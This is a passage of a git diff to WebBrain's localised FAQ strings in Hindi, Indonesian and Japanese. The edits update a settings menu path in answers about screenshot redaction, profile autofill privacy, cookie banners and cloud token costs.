"faq.profile.a_html": "<p>प्रोफ़ाइल स्वतः-भरण एक वैकल्पिक सुविधा है <strong>सेटिंग्स → प्रोफ़ाइल</strong>. आप एक संक्षिप्त जीवनी दर्ज करें - नाम, कार्य ईमेल, कंपनी, और ए <em>फेंकना</em> कम जोखिम वाले साइनअप के लिए पासवर्ड - और इसे चालू करें। सक्षम होने पर, WebBrain उस टेक्स्ट को एजेंट के सिस्टम प्रॉम्प्ट में जोड़ देता है ताकि वह हर बार बिना पूछे साइनअप फॉर्म भर सके।</p><p>पाठ संग्रहीत है <strong>सादे पाठ में</strong> आपके ब्राउज़र के स्थानीय संग्रहण में. यह है <strong>नहीं</strong> WebBrain प्रोजेक्ट को प्रेषित, लेकिन यह <strong>है</strong> सिस्टम प्रॉम्प्ट के भाग के रूप में, प्रत्येक मोड़ पर आपके द्वारा कॉन्फ़िगर किए गए किसी भी एलएलएम प्रदाता को भेजा जाता है। डिफ़ॉल्ट रूप से बंद.</p><p><strong>महत्वपूर्ण खातों के लिए पासवर्ड न रखें</strong> (Google, Apple, iCloud, बैंकिंग, कार्य SSO, प्राथमिक ईमेल) यहां। उन खातों को 2FA का उपयोग करना चाहिए और किसी भी तरह से किसी एजेंट को नहीं सौंपा जाना चाहिए। न्यूज़लेटर साइनअप और निःशुल्क परीक्षणों के लिए आपके द्वारा पुन: उपयोग किया जाने वाला एक थ्रोअवे पासवर्ड इच्छित उपयोग का मामला है।</p>",
"faq.screenshot_redaction.q": "क्या स्क्रीनशॉट रिडक्शन सेटिंग यह गारंटी देती है कि मेरा निजी डेटा कभी भी क्लाउड विज़न मॉडल तक नहीं पहुंचेगा?",
- "faq.screenshot_redaction.a_html": "<p>नहीं - यह जोखिम को कम करता है, इसकी कोई गारंटी नहीं है। सक्षम होने पर (<strong>सेटिंग्स → मल्टीमॉडल → स्क्रीनशॉट रिडक्शन</strong>, डिफ़ॉल्ट रूप से बंद), WebBrain फॉर्म फ़ील्ड और टेक्स्ट को पिक्सेलित करता है जो प्रत्येक स्क्रीनशॉट पर एक ईमेल पते या फोन नंबर की तरह दिखता है <em>पहले</em> इसे एक विज़न मॉडल में भेजा जाता है। DOM हेयुरिस्टिक्स का उपयोग करके डिटेक्शन पूरी तरह से आपके डिवाइस पर चलता है; कुछ भी अतिरिक्त प्रसारित नहीं होता है.</p><p><strong>यह सर्वोत्तम-प्रयास और असफलता-रहित है।</strong> यदि डिटेक्टर किसी पृष्ठ पर नहीं चल सकता है - उदाहरण के लिए नेविगेशन के तुरंत बाद, पीडीएफ दर्शकों पर, या प्रतिबंधित ब्राउज़र पृष्ठों पर - स्क्रीनशॉट अभी भी भेजा जाता है <em>अप्रकाशित</em> अपने कार्य को निरस्त करने के बजाय। वह सामग्री जिसे DOM अनुमान नहीं देख सकता (कैनवास पर खींचा गया पाठ, छवियों के अंदर PII, असामान्य विजेट) भी फिसल सकता है। और सेटिंग केवल स्क्रीनशॉट को कवर करती है: पेज <em>पाठ</em> मॉडल को भेजा गया इसके द्वारा संशोधित नहीं किया गया है।</p><p><strong>पूर्ण दृष्टि गोपनीयता के लिए, स्थानीय मॉडल का उपयोग करें।</strong> llama.cpp या Ollama जैसे ऑफ़लाइन प्रदाता के साथ, स्क्रीनशॉट और पेज टेक्स्ट आपकी मशीन को कभी नहीं छोड़ते हैं, इसलिए पहली बार में रिडक्ट करने के लिए कुछ भी नहीं है - यह एकमात्र कॉन्फ़िगरेशन है जहां गोपनीयता की गारंटी है। देखें \"क्या मैं WebBrain का पूरी तरह ऑफ़लाइन उपयोग कर सकता हूँ?\" ऊपर।</p><p><strong>क्या आपके पास ऐसी मशीन नहीं है जो दृष्टि-सक्षम स्थानीय मॉडल चला सके?</strong> एक अच्छा मध्य मार्ग नियोजन और टूल कॉल के लिए एक छोटा स्थानीय मॉडल है (एक मामूली सीपीयू/जीपीयू के लिए पर्याप्त तेज़ और हल्का) जिसे विज़न उप-कॉल के लिए क्लाउड प्रदाता के साथ जोड़ा जाता है, जिसमें स्क्रीनशॉट रिडक्शन चालू होता है। आप अभी भी अपनी बातचीत और पेज टेक्स्ट को डिवाइस पर रखते हैं, और क्लाउड विज़न के लिए छोड़े जाने वाले प्रत्येक स्क्रीनशॉट में फॉर्म फ़ील्ड और पहचाने गए ईमेल/फ़ोन पहले धुंधले होते हैं - पूर्ण स्थानीय विज़न मॉडल के लिए हार्डवेयर की आवश्यकता के बिना क्लाउड एक्सपोज़र कम हो जाता है। विज़न स्प्लिट को नीचे कॉन्फ़िगर करें <strong>सेटिंग्स → विजन</strong> (ऊपर देखें \"WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?\")।</p>",
+ "faq.screenshot_redaction.a_html": "<p>नहीं - यह जोखिम को कम करता है, इसकी कोई गारंटी नहीं है। सक्षम होने पर (<strong>सेटिंग्स → सहायक मॉडल → दृष्टि → स्क्रीनशॉट रिडक्शन</strong>, डिफ़ॉल्ट रूप से बंद), WebBrain फॉर्म फ़ील्ड और टेक्स्ट को पिक्सेलित करता है जो प्रत्येक स्क्रीनशॉट पर एक ईमेल पते या फोन नंबर की तरह दिखता है <em>पहले</em> इसे एक विज़न मॉडल में भेजा जाता है। DOM हेयुरिस्टिक्स का उपयोग करके डिटेक्शन पूरी तरह से आपके डिवाइस पर चलता है; कुछ भी अतिरिक्त प्रसारित नहीं होता है.</p><p><strong>यह सर्वोत्तम-प्रयास और असफलता-रहित है।</strong> यदि डिटेक्टर किसी पृष्ठ पर नहीं चल सकता है - उदाहरण के लिए नेविगेशन के तुरंत बाद, पीडीएफ दर्शकों पर, या प्रतिबंधित ब्राउज़र पृष्ठों पर - स्क्रीनशॉट अभी भी भेजा जाता है <em>अप्रकाशित</em> अपने कार्य को निरस्त करने के बजाय। वह सामग्री जिसे DOM अनुमान नहीं देख सकता (कैनवास पर खींचा गया पाठ, छवियों के अंदर PII, असामान्य विजेट) भी फिसल सकता है। और सेटिंग केवल स्क्रीनशॉट को कवर करती है: पेज <em>पाठ</em> मॉडल को भेजा गया इसके द्वारा संशोधित नहीं किया गया है।</p><p><strong>पूर्ण दृष्टि गोपनीयता के लिए, स्थानीय मॉडल का उपयोग करें।</strong> llama.cpp या Ollama जैसे ऑफ़लाइन प्रदाता के साथ, स्क्रीनशॉट और पेज टेक्स्ट आपकी मशीन को कभी नहीं छोड़ते हैं, इसलिए पहली बार में रिडक्ट करने के लिए कुछ भी नहीं है - यह एकमात्र कॉन्फ़िगरेशन है जहां गोपनीयता की गारंटी है। देखें \"क्या मैं WebBrain का पूरी तरह ऑफ़लाइन उपयोग कर सकता हूँ?\" ऊपर।</p><p><strong>क्या आपके पास ऐसी मशीन नहीं है जो दृष्टि-सक्षम स्थानीय मॉडल चला सके?</strong> एक अच्छा मध्य मार्ग नियोजन और टूल कॉल के लिए एक छोटा स्थानीय मॉडल है (एक मामूली सीपीयू/जीपीयू के लिए पर्याप्त तेज़ और हल्का) जिसे विज़न उप-कॉल के लिए क्लाउड प्रदाता के साथ जोड़ा जाता है, जिसमें स्क्रीनशॉट रिडक्शन चालू होता है। आप अभी भी अपनी बातचीत और पेज टेक्स्ट को डिवाइस पर रखते हैं, और क्लाउड विज़न के लिए छोड़े जाने वाले प्रत्येक स्क्रीनशॉट में फॉर्म फ़ील्ड और पहचाने गए ईमेल/फ़ोन पहले धुंधले होते हैं - पूर्ण स्थानीय विज़न मॉडल के लिए हार्डवेयर की आवश्यकता के बिना क्लाउड एक्सपोज़र कम हो जाता है। विज़न स्प्लिट को नीचे कॉन्फ़िगर करें <strong>सेटिंग्स → सहायक मॉडल → दृष्टि</strong> (ऊपर देखें \"WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?\")।</p>",
"faq.cookies_paywalls.q": "WebBrain कुकी बैनर और पेवॉल के साथ क्या करता है?",
"faq.cookies_paywalls.a_html": "<p><strong>कुकी बैनर:</strong> WebBrain सामान्य फ्रेमवर्क (वनट्रस्ट, कुकीबॉट, डिडोमी, क्वांटकास्ट, गूगल फंडिंग चॉइस, ट्रस्टआर्क) से सहमति बैनर को पहचानता है और पेज के बारे में तर्क करने से पहले उन्हें खारिज कर देता है। प्राथमिकता \"सभी को अस्वीकार करें\" / \"गैर-आवश्यक को अस्वीकार करें\" / \"केवल आवश्यक\" है जब स्पष्ट रूप से दिखाई दे; यह \"वरीयताएँ प्रबंधित करें\" भूलभुलैया में गायब होने के बजाय \"सभी को स्वीकार करें\" पर वापस आ जाता है।</p><p><strong>भुगतान:</strong> WebBrain पेवॉल की ईमानदारी से रिपोर्ट करता है और आपको बताता है कि यह वास्तव में क्या देख सकता है (हेडलाइन, डेक, पहला पैराग्राफ)। यह होता है <strong>नहीं</strong> पेवॉल्स को बायपास करने का प्रयास - कोई Archive.today, 12ft.io, कुकी क्लियरिंग, JS अक्षम करना, या रीडर-मोड ट्रिक्स नहीं। यदि आप पूरा लेख चाहते हैं, तो सदस्यता के साथ लॉग इन करें या उसी कहानी की मुफ्त कवरेज देखने के लिए WebBrain से पूछें।</p>",
"faq.multilingual.q": "क्या WebBrain ड्राई-रन मोड का समर्थन करता है?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?",
- "faq.token_conscious.a_html": "<p>तीन स्वतंत्र परतें:</p><p><strong>टोकन-सचेत स्क्रीनशॉट।</strong> इससे पहले कि कोई छवि आपकी मशीन से बाहर जाए, WebBrain उसका आकार बदलता है (छोटा साइड कैप्ड, पहलू अनुपात को संरक्षित करता है) और इसे पुनरावृत्त रूप से JPEG-संपीड़ित करता है जब तक कि यह प्रति-मोड़ छवि-टोकन बजट में फिट न हो जाए। एक 2000×1200 स्क्रीनशॉट जिसकी कीमत आपको GPT-4o पर ~1,500 इनपुट टोकन होगी, पेज-रीडिंग कार्यों के लिए कोई व्यावहारिक हानि के बिना ~300-500 टोकन तक संपीड़ित हो जाता है। में क्रियान्वित किया गया <code>_fitImageDimensions</code> बजट गणित के लिए इकाई परीक्षणों के साथ।</p><p><strong>स्मार्ट संदर्भ ट्रिमिंग.</strong> वार्तालाप इतिहास, टूल आउटपुट और इनलाइन DOM डंप को प्रति मोड़ पर सीमित किया जाता है और सक्रिय मॉडल की संदर्भ विंडो पूर्ण होने पर सबसे पहले छंटनी की जाती है। आप 10k टोकन से 100k तक चुपचाप चलने वाला गुब्बारा नहीं देखेंगे क्योंकि a <code>read_page</code> एक उपन्यास-लंबा लेख लौटाया।</p><p><strong>समर्पित विज़न मॉडल.</strong> योजना और टूल कॉल के लिए एक सस्ते टेक्स्ट मॉडल (जैसे GPT-4o-मिनी) को केवल स्क्रीनशॉट के लिए एक अलग विज़न-सक्षम मॉडल (जैसे GPT-4o) के साथ जोड़ें, ताकि आपको हर एक मोड़ पर मल्टीमॉडल-मॉडल कीमतों का भुगतान न करना पड़े। के अंतर्गत कॉन्फ़िगर करें <strong>सेटिंग्स → विजन</strong>.</p><p>शुद्ध परिणाम: क्लाउड प्रदाताओं के साथ लंबे सत्र पूर्वानुमानित रहते हैं। पूर्ण नियंत्रण के लिए, स्थानीय रूप से llama.cpp का उपयोग करें - शून्य प्रति टोकन लागत।</p>",
+ "faq.token_conscious.a_html": "<p>तीन स्वतंत्र परतें:</p><p><strong>टोकन-सचेत स्क्रीनशॉट।</strong> इससे पहले कि कोई छवि आपकी मशीन से बाहर जाए, WebBrain उसका आकार बदलता है (छोटा साइड कैप्ड, पहलू अनुपात को संरक्षित करता है) और इसे पुनरावृत्त रूप से JPEG-संपीड़ित करता है जब तक कि यह प्रति-मोड़ छवि-टोकन बजट में फिट न हो जाए। एक 2000×1200 स्क्रीनशॉट जिसकी कीमत आपको GPT-4o पर ~1,500 इनपुट टोकन होगी, पेज-रीडिंग कार्यों के लिए कोई व्यावहारिक हानि के बिना ~300-500 टोकन तक संपीड़ित हो जाता है। में क्रियान्वित किया गया <code>_fitImageDimensions</code> बजट गणित के लिए इकाई परीक्षणों के साथ।</p><p><strong>स्मार्ट संदर्भ ट्रिमिंग.</strong> वार्तालाप इतिहास, टूल आउटपुट और इनलाइन DOM डंप को प्रति मोड़ पर सीमित किया जाता है और सक्रिय मॉडल की संदर्भ विंडो पूर्ण होने पर सबसे पहले छंटनी की जाती है। आप 10k टोकन से 100k तक चुपचाप चलने वाला गुब्बारा नहीं देखेंगे क्योंकि a <code>read_page</code> एक उपन्यास-लंबा लेख लौटाया।</p><p><strong>समर्पित विज़न मॉडल.</strong> योजना और टूल कॉल के लिए एक सस्ते टेक्स्ट मॉडल (जैसे GPT-4o-मिनी) को केवल स्क्रीनशॉट के लिए एक अलग विज़न-सक्षम मॉडल (जैसे GPT-4o) के साथ जोड़ें, ताकि आपको हर एक मोड़ पर मल्टीमॉडल-मॉडल कीमतों का भुगतान न करना पड़े। के अंतर्गत कॉन्फ़िगर करें <strong>सेटिंग्स → सहायक मॉडल → दृष्टि</strong>.</p><p>शुद्ध परिणाम: क्लाउड प्रदाताओं के साथ लंबे सत्र पूर्वानुमानित रहते हैं। पूर्ण नियंत्रण के लिए, स्थानीय रूप से llama.cpp का उपयोग करें - शून्य प्रति टोकन लागत।</p>",
"faq.contribute.q": "क्या मैं WebBrain में योगदान कर सकता हूँ?",
"faq.contribute.a_html": "बिल्कुल! WebBrain GPL-3.0-or-later-लाइसेंस प्राप्त है और योगदान का स्वागत करता है। की जाँच करें <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub भंडार</a> मुद्दों, सुविधा अनुरोधों और योगदान दिशानिर्देशों के लिए।",
"oss.title": "100% खुला स्रोत",
diff --git a/web/build/locales/id.json b/web/build/locales/id.json
index 1f258d812..538f3e07c 100644
--- a/web/build/locales/id.json
+++ b/web/build/locales/id.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Bagaimana isi-otomatis Profil bekerja, dan apakah aman?",
"faq.profile.a_html": "<p>Isi-otomatis profil adalah fitur opsional di <strong>Pengaturan → Profil</strong>. Anda memasukkan bio singkat — nama, email kerja, perusahaan, dan kata sandi <em>sekali pakai</em> untuk pendaftaran berisiko rendah — lalu mengaktifkannya. Saat aktif, WebBrain menambahkan teks itu ke prompt sistem agen sehingga ia dapat mengisi formulir pendaftaran tanpa bertanya setiap kali.</p><p>Teks tersebut disimpan <strong>dalam bentuk teks biasa</strong> di penyimpanan lokal peramban Anda. Teks itu <strong>tidak</strong> dikirim ke proyek WebBrain, tetapi <strong>dikirim</strong> ke penyedia LLM yang Anda konfigurasi pada setiap giliran, sebagai bagian dari prompt sistem. Mati secara bawaan.</p><p><strong>Jangan menaruh kata sandi akun penting</strong> (Google, Apple, iCloud, perbankan, SSO kantor, email utama) di sini. Akun-akun itu seharusnya menggunakan 2FA dan tidak perlu Anda serahkan kepada agen. Kasus penggunaan yang dimaksud adalah kata sandi sekali pakai yang Anda pakai ulang untuk pendaftaran newsletter dan uji coba gratis.</p>",
"faq.screenshot_redaction.q": "Apakah pengaturan Penyamaran tangkapan layar menjamin data pribadi saya tidak pernah sampai ke model visi cloud?",
- "faq.screenshot_redaction.a_html": "<p>Tidak — pengaturan ini mengurangi risiko paparan, bukan jaminan. Saat diaktifkan (<strong>Pengaturan → Multimodal → Penyamaran tangkapan layar</strong>, nonaktif secara default), WebBrain mem-pixel-kan kolom formulir dan teks yang terlihat seperti alamat email atau nomor telepon pada setiap tangkapan layar <em>sebelum</em> dikirim ke model visi. Pendeteksian berjalan sepenuhnya di perangkat Anda menggunakan heuristik DOM; tidak ada yang dikirim ekstra.</p><p><strong>Ini bersifat best-effort dan fail-open.</strong> Jika detektor tidak bisa berjalan di suatu halaman — misalnya tepat setelah navigasi, di penampil PDF, atau di halaman browser yang dibatasi — tangkapan layar tetap dikirim <em>tanpa disamarkan</em> daripada membatalkan tugas Anda. Konten yang tidak bisa dilihat heuristik DOM (teks yang digambar di canvas, informasi pribadi di dalam gambar, widget yang tidak umum) juga bisa lolos. Dan pengaturan ini hanya mencakup tangkapan layar: <em>teks</em> halaman yang dikirim ke model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi yang penuh, gunakan model lokal.</strong> Dengan penyedia offline seperti llama.cpp atau Ollama, tangkapan layar dan teks halaman tidak pernah meninggalkan perangkat Anda, jadi sejak awal tidak ada yang perlu disamarkan — ini satu-satunya konfigurasi di mana privasi benar-benar terjamin. Lihat \"Bisakah saya menggunakan WebBrain sepenuhnya offline?\" di atas.</p><p><strong>Tidak punya perangkat yang mampu menjalankan model lokal dengan visi?</strong> Jalan tengah yang baik adalah menggunakan model lokal kecil untuk perencanaan dan pemanggilan alat (cukup ringan untuk CPU/GPU yang sederhana), dipadukan dengan penyedia cloud untuk sub-panggilan visi, dengan Penyamaran tangkapan layar diaktifkan. Percakapan dan teks halaman Anda tetap berada di perangkat, dan setiap tangkapan layar yang dikirim ke visi cloud sudah memiliki kolom formulir serta email/telepon yang terdeteksi dalam keadaan buram — paparan cloud berkurang tanpa perlu perangkat keras untuk model visi lokal penuh. Atur pembagian ini di <strong>Pengaturan → Visi</strong> (lihat \"Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?\" di atas).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Tidak — pengaturan ini mengurangi risiko paparan, bukan jaminan. Saat diaktifkan (<strong>Pengaturan → Model Pendukung → Visi → Penyamaran tangkapan layar</strong>, nonaktif secara default), WebBrain mem-pixel-kan kolom formulir dan teks yang terlihat seperti alamat email atau nomor telepon pada setiap tangkapan layar <em>sebelum</em> dikirim ke model visi. Pendeteksian berjalan sepenuhnya di perangkat Anda menggunakan heuristik DOM; tidak ada yang dikirim ekstra.</p><p><strong>Ini bersifat best-effort dan fail-open.</strong> Jika detektor tidak bisa berjalan di suatu halaman — misalnya tepat setelah navigasi, di penampil PDF, atau di halaman browser yang dibatasi — tangkapan layar tetap dikirim <em>tanpa disamarkan</em> daripada membatalkan tugas Anda. Konten yang tidak bisa dilihat heuristik DOM (teks yang digambar di canvas, informasi pribadi di dalam gambar, widget yang tidak umum) juga bisa lolos. Dan pengaturan ini hanya mencakup tangkapan layar: <em>teks</em> halaman yang dikirim ke model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi yang penuh, gunakan model lokal.</strong> Dengan penyedia offline seperti llama.cpp atau Ollama, tangkapan layar dan teks halaman tidak pernah meninggalkan perangkat Anda, jadi sejak awal tidak ada yang perlu disamarkan — ini satu-satunya konfigurasi di mana privasi benar-benar terjamin. Lihat \"Bisakah saya menggunakan WebBrain sepenuhnya offline?\" di atas.</p><p><strong>Tidak punya perangkat yang mampu menjalankan model lokal dengan visi?</strong> Jalan tengah yang baik adalah menggunakan model lokal kecil untuk perencanaan dan pemanggilan alat (cukup ringan untuk CPU/GPU yang sederhana), dipadukan dengan penyedia cloud untuk sub-panggilan visi, dengan Penyamaran tangkapan layar diaktifkan. Percakapan dan teks halaman Anda tetap berada di perangkat, dan setiap tangkapan layar yang dikirim ke visi cloud sudah memiliki kolom formulir serta email/telepon yang terdeteksi dalam keadaan buram — paparan cloud berkurang tanpa perlu perangkat keras untuk model visi lokal penuh. Atur pembagian ini di <strong>Pengaturan → Model Pendukung → Visi</strong> (lihat \"Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?\" di atas).</p>",
"faq.cookies_paywalls.q": "Apa yang dilakukan WebBrain dengan spanduk cookie dan paywall?",
"faq.cookies_paywalls.a_html": "<p><strong>Spanduk cookie:</strong> WebBrain mengenali spanduk persetujuan dari kerangka umum (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) dan menutupnya sebelum menalar halaman. Prioritasnya adalah \"Tolak semua\" / \"Tolak non-esensial\" / \"Hanya yang perlu\" jika terlihat jelas; jika tidak, ia jatuh ke \"Terima semua\" alih-alih hilang dalam labirin \"Kelola preferensi\".</p><p><strong>Paywall:</strong> WebBrain melaporkan paywall dengan jujur dan memberi tahu Anda apa yang sebenarnya dapat dilihatnya (judul, dek, paragraf pertama). Ia <strong>tidak</strong> mencoba menembus paywall — tidak ada archive.today, 12ft.io, pembersihan cookie, penonaktifan JS, atau trik mode pembaca. Jika ingin artikel penuh, masuk dengan langganan atau minta WebBrain mencari liputan gratis untuk cerita yang sama.</p>",
"faq.multilingual.q": "Apakah WebBrain mendukung mode dry-run?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Bagaimana WebBrain menjaga tagihan LLM cloud tetap terkendali?",
- "faq.token_conscious.a_html": "<p>Tiga lapisan independen:</p><p><strong>Tangkapan layar hemat token.</strong> Sebelum gambar meninggalkan mesin Anda, WebBrain mengubah ukurannya (sisi pendek dibatasi, rasio aspek dipertahankan) dan mengompresi JPEG secara iteratif hingga muat dengan anggaran token gambar per giliran. Tangkapan layar 2000×1200 yang akan menghabiskan ~1.500 token input di GPT-4o akan dikompresi menjadi ~300–500 token tanpa kerugian praktis untuk tugas membaca halaman. Diimplementasikan di <code>_fitImageDimensions</code> dengan unit test untuk perhitungan anggarannya.</p><p><strong>Pemangkasan konteks cerdas.</strong> Riwayat percakapan, keluaran alat, dan dump DOM inline dibatasi per giliran dan dipangkas yang terlama lebih dulu saat jendela konteks model aktif mendekati penuh. Anda tidak akan melihat eksekusi diam-diam membengkak dari 10k token menjadi 100k karena <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model visi khusus.</strong> Pasangkan model teks murah (mis. GPT-4o-mini) untuk perencanaan dan pemanggilan alat dengan model visi terpisah (mis. GPT-4o) hanya untuk tangkapan layar, sehingga Anda tidak membayar harga model multimodal di setiap giliran. Konfigurasikan di <strong>Pengaturan → Visi</strong>.</p><p>Hasil akhirnya: sesi panjang dengan penyedia cloud tetap terprediksi. Untuk kendali penuh, gunakan llama.cpp secara lokal — biaya per token nol.</p>",
+ "faq.token_conscious.a_html": "<p>Tiga lapisan independen:</p><p><strong>Tangkapan layar hemat token.</strong> Sebelum gambar meninggalkan mesin Anda, WebBrain mengubah ukurannya (sisi pendek dibatasi, rasio aspek dipertahankan) dan mengompresi JPEG secara iteratif hingga muat dengan anggaran token gambar per giliran. Tangkapan layar 2000×1200 yang akan menghabiskan ~1.500 token input di GPT-4o akan dikompresi menjadi ~300–500 token tanpa kerugian praktis untuk tugas membaca halaman. Diimplementasikan di <code>_fitImageDimensions</code> dengan unit test untuk perhitungan anggarannya.</p><p><strong>Pemangkasan konteks cerdas.</strong> Riwayat percakapan, keluaran alat, dan dump DOM inline dibatasi per giliran dan dipangkas yang terlama lebih dulu saat jendela konteks model aktif mendekati penuh. Anda tidak akan melihat eksekusi diam-diam membengkak dari 10k token menjadi 100k karena <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model visi khusus.</strong> Pasangkan model teks murah (mis. GPT-4o-mini) untuk perencanaan dan pemanggilan alat dengan model visi terpisah (mis. GPT-4o) hanya untuk tangkapan layar, sehingga Anda tidak membayar harga model multimodal di setiap giliran. Konfigurasikan di <strong>Pengaturan → Model Pendukung → Visi</strong>.</p><p>Hasil akhirnya: sesi panjang dengan penyedia cloud tetap terprediksi. Untuk kendali penuh, gunakan llama.cpp secara lokal — biaya per token nol.</p>",
"faq.contribute.q": "Bisakah saya berkontribusi ke WebBrain?",
"faq.contribute.a_html": "Tentu saja! WebBrain berlisensi GPL-3.0-or-later dan menyambut kontribusi. Lihat <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">repositori GitHub</a> untuk issue, permintaan fitur, dan panduan kontribusi.",
"oss.title": "100% Open Source",
diff --git a/web/build/locales/ja.json b/web/build/locales/ja.json
index 0009449be..491905ff1 100644
--- a/web/build/locales/ja.json
+++ b/web/build/locales/ja.json
@@ -304,7 +304,7 @@
"faq.profile.q": "プロフィール自動入力はどう動きますか? 安全ですか?",
"faq.profile.a_html": "<p>プロフィール自動入力は <strong>設定 → プロフィール</strong> にあるオプション機能です。短い bio — 名前、仕事用メール、所属、低リスクなサインアップ向けの<em>使い捨て</em>パスワード — を入力してオンにします。有効にすると、WebBrain はそのテキストをエージェントのシステムプロンプトに付け足し、毎回聞かずにサインアップフォームを埋められるようにします。</p><p>テキストはブラウザのローカルストレージに<strong>平文</strong>で保存されます。WebBrain プロジェクトへは<strong>送信されません</strong>が、設定済みの LLM プロバイダーへはシステムプロンプトの一部として毎ターン<strong>送信されます</strong>。既定はオフです。</p><p>ここに重要アカウント (Google、Apple、iCloud、銀行、社内 SSO、メインのメール) のパスワードは<strong>絶対に入れないでください</strong>。それらは 2FA を有効にすべきで、そもそもエージェントに渡すべきではありません。意図された使い方は、ニュースレターの登録や無料体験などで使い回す使い捨てパスワードです。</p>",
"faq.screenshot_redaction.q": "スクリーンショット黒塗り設定は、プライベートなデータがクラウドのビジョンモデルに届かないことを保証しますか?",
- "faq.screenshot_redaction.a_html": "<p>いいえ — これは露出を減らすものであり、保証ではありません。有効にすると(<strong>設定 → マルチモーダル → スクリーンショットの黒塗り</strong>、デフォルトはオフ)、WebBrainはすべてのスクリーンショットについて、ビジョンモデルに送信する<em>前に</em>フォーム項目やメールアドレス・電話番号らしきテキストにモザイクをかけます。検出はDOMヒューリスティックを使ってすべて端末内で行われ、追加で送信されるデータはありません。</p><p><strong>これはベストエフォートかつフェイルオープンです。</strong>ナビゲーション直後、PDFビューア、制限されたブラウザページなど、検出器がページ上で動作できない場合、タスクを中断する代わりにスクリーンショットは<em>黒塗りされないまま</em>送信されます。DOMヒューリスティックが認識できないコンテンツ(canvasに描画されたテキスト、画像内の個人情報、特殊なウィジェットなど)も見逃される可能性があります。また、この設定はスクリーンショットのみを対象としており、モデルに送られるページの本文テキストはこれによって黒塗りされません。</p><p><strong>ビジョンについて完全なプライバシーが必要な場合は、ローカルモデルを使用してください。</strong>llama.cppやOllamaのようなオフラインプロバイダーを使えば、スクリーンショットもページテキストも端末から一切出ないため、そもそも黒塗りする必要がありません — これがプライバシーが保証される唯一の構成です。上記の「WebBrain は完全にオフラインで使えますか?」を参照してください。</p><p><strong>ビジョン対応のローカルモデルを動かせるマシンがない場合は?</strong>プランニングとツール呼び出し用に軽量なローカルモデル(控えめなCPU/GPUでも動く程度の軽さ)を使い、ビジョンのサブコールにはクラウドプロバイダーを組み合わせ、スクリーンショットの黒塗りをオンにするのが良い折衷案です。会話とページテキストは端末内に留まり、クラウドのビジョンに送られるスクリーンショットは事前にフォーム項目や検出されたメール/電話番号が黒塗りされた状態になります — 完全なローカルビジョンモデル用のハードウェアを用意しなくても、クラウドへの露出を減らせます。この振り分けは<strong>設定 → ビジョン</strong>から設定してください(上記の「WebBrain はどうやってクラウド LLM の請求を抑えていますか?」も参照)。</p>",
+ "faq.screenshot_redaction.a_html": "<p>いいえ — これは露出を減らすものであり、保証ではありません。有効にすると(<strong>設定 → 補助モデル → 画像認識 → スクリーンショットの黒塗り</strong>、デフォルトはオフ)、WebBrainはすべてのスクリーンショットについて、ビジョンモデルに送信する<em>前に</em>フォーム項目やメールアドレス・電話番号らしきテキストにモザイクをかけます。検出はDOMヒューリスティックを使ってすべて端末内で行われ、追加で送信されるデータはありません。</p><p><strong>これはベストエフォートかつフェイルオープンです。</strong>ナビゲーション直後、PDFビューア、制限されたブラウザページなど、検出器がページ上で動作できない場合、タスクを中断する代わりにスクリーンショットは<em>黒塗りされないまま</em>送信されます。DOMヒューリスティックが認識できないコンテンツ(canvasに描画されたテキスト、画像内の個人情報、特殊なウィジェットなど)も見逃される可能性があります。また、この設定はスクリーンショットのみを対象としており、モデルに送られるページの本文テキストはこれによって黒塗りされません。</p><p><strong>ビジョンについて完全なプライバシーが必要な場合は、ローカルモデルを使用してください。</strong>llama.cppやOllamaのようなオフラインプロバイダーを使えば、スクリーンショットもページテキストも端末から一切出ないため、そもそも黒塗りする必要がありません — これがプライバシーが保証される唯一の構成です。上記の「WebBrain は完全にオフラインで使えますか?」を参照してください。</p><p><strong>ビジョン対応のローカルモデルを動かせるマシンがない場合は?</strong>プランニングとツール呼び出し用に軽量なローカルモデル(控えめなCPU/GPUでも動く程度の軽さ)を使い、ビジョンのサブコールにはクラウドプロバイダーを組み合わせ、スクリーンショットの黒塗りをオンにするのが良い折衷案です。会話とページテキストは端末内に留まり、クラウドのビジョンに送られるスクリーンショットは事前にフォーム項目や検出されたメール/電話番号が黒塗りされた状態になります — 完全なローカルビジョンモデル用のハードウェアを用意しなくても、クラウドへの露出を減らせます。この振り分けは<strong>設定 → 補助モデル → 画像認識</strong>から設定してください(上記の「WebBrain はどうやってクラウド LLM の請求を抑えていますか?」も参照)。</p>",
